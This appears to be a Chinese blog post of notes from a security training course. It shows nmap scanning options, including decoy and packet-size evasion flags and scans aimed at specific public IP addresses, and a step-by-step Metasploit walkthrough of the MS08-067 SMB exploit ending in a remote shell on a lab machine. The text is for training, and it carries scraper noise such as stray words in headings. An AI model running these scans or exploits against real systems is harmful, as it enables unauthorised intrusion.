nmap扫描进阶、msfconsole攻击入门(网安全实训次日)

本期内容:nmap扫描、msfconsole攻击入门
 shell

1. nmap扫描进阶windows

2.msfconsole攻击入门api

1.nmap扫描进阶
(1)nmap命令服务器

 

nmap --sP -iL abin.txt (从abin.txt导入ip地址列表进行扫描,-sP主机存货判断)
nmap -A 120.55.226.24 (启用操做系统检测,版本检测,脚本扫描和跟踪路由)
nmap -sS 120.55.226.24 (半链接扫描)
nmap -sT 120.55.226.24 (全链接扫描)
nmap -sU 120.55.226.24 (udp扫描)
nmap -D 1.1.1.1 192.168.1.102 (假装地址为1.1.1.1)
nmap --mtu 8 192.168.1.102 (指定每一个扫描包的大小)

(2)漏洞扫描post

 

cd /usr/share/nmap/scripts (nmap漏洞扫描脚本在/usr/share/nmap/scripts下)
nmap --script=http-robots.txt 120.55.226.24 (scripts后面参数为脚本名称)


(3)SYN,FIN,ACK,PSH,RST,URG做用:
URG:紧急标志
ACK:确认标志
PSH:表示有DATA数据传输
RST:重置,用于复位相应的TCP链接
SYN:请求连接
FIN:停止连接

(4)操做实例编码

 

nmap -A -iL abin.txt

 

nmap -sS 119.29.221.132

 

nmap -sT 119.29.221.132 (全链接扫描的结果更准确,但更容易被发现)

 

nmap -sU 119.29.221.132

2.msfconsole攻击入门操作系统

PTES标准:.net

1-前期交互阶段3d

2-情报收集阶段code

3-威胁建模阶段

4-漏洞分析阶段

5-渗透攻击阶段

6-后渗透攻击阶段

7-报告阶段

参考文章:https://blog.csdn.net/galaxy96/article/details/53334503

(1)进入msfconsole,命令:msfconsole

从如下提示,咱们能够了解到:

+ -- --=[ 1749 exploits - 1002 auxiliary - 302 post          ]
+ -- --=[ 536 payloads - 40 encoders - 10 nops             ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msfconsole包含4部份内容,分别为攻击模块、辅助模块、利用模块、编码模块。

(2)查找漏洞模块

经过前期信息收集,咱们发现实验服务器存在ms08-067漏洞,因此直接搜索模块。

search MS08-067

 

(3)使用对用攻击模块

 

use exploit/windows/smb/ms08_067_netapi

(4)设置参数

首先使用show options查看须要设置的参数,其中,显示yes的都是必须设置的选项。

而后使用set 命令设置参数的值:

set RHOST 192.168.183.132

(5)执行攻击

exploit

因为以前使用kali攻击,一直没有成功,出现如下错误:

因为时间实训紧,因此也没再深究,等有时间再来看一下。我使用bt5就能够攻击成功,继续如下的步骤。

(6)攻击成功界面,输入shell进入dos界面。

相关文章
相关标签/搜索